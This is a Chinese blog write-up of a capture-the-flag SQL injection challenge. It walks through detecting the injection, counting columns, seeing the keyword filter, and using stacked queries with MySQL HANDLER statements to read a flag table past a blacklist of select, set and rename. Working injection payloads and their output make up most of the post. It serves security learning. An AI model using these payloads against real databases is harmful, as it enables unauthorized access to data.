[GYCTF2020]Blacklist(堆叠注入)

文章详细描述了一个SQL堆叠注入的过程,从信息收集开始,通过观察URL变化、判断注入类型和列数,再到绕过过滤规则,最终使用handler函数成功读取到flag。整个解题过程展示了在限制性条件下解决安全问题的策略。
摘要由CSDN通过智能技术生成

目录

信息收集

堆叠注入

payload

总结


信息收集

观察url变化是get请求的SQL注入题目

判断注入类型

1和1"回显一样

1'回显报错

1' or 1=1#

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

猜测SQL语句为

select * from tablename where user ='{inject}';

判断列数

1' order by 3#

error 1054 : Unknown column '3' in 'order clause'

一共2列

判断回显

-1' union select 1,2,3#

回显出过滤规则

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

select被过滤了,.也被过过滤了(这里的\是单个匹配),根据以往经验这种题目可能是延时,或者堆叠注入

我们先尝试最方便的堆叠注入

堆叠注入

1';show databases;#

1'; show tables;# 

猜测flag可能在flaghere这个表里面

1'; show columns from FlagHere;#

 flag应该在 表FlagHere的“flag”列里面

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
这里set被禁用,因此无法使用预处理进行语句编写,也禁用了rename语句,因此不能改名来直接通过id读取

我们可以使用之前用过的handler函数进行读取

payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

拿到flag

总结

这个题目的解法和之前做过的[强网杯 2019]随便注比较相似,都是堆叠注入的考点,不过过滤了它的前两种做法使用的函数,使得我们只能通过第三种方法handler函数进行读取

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值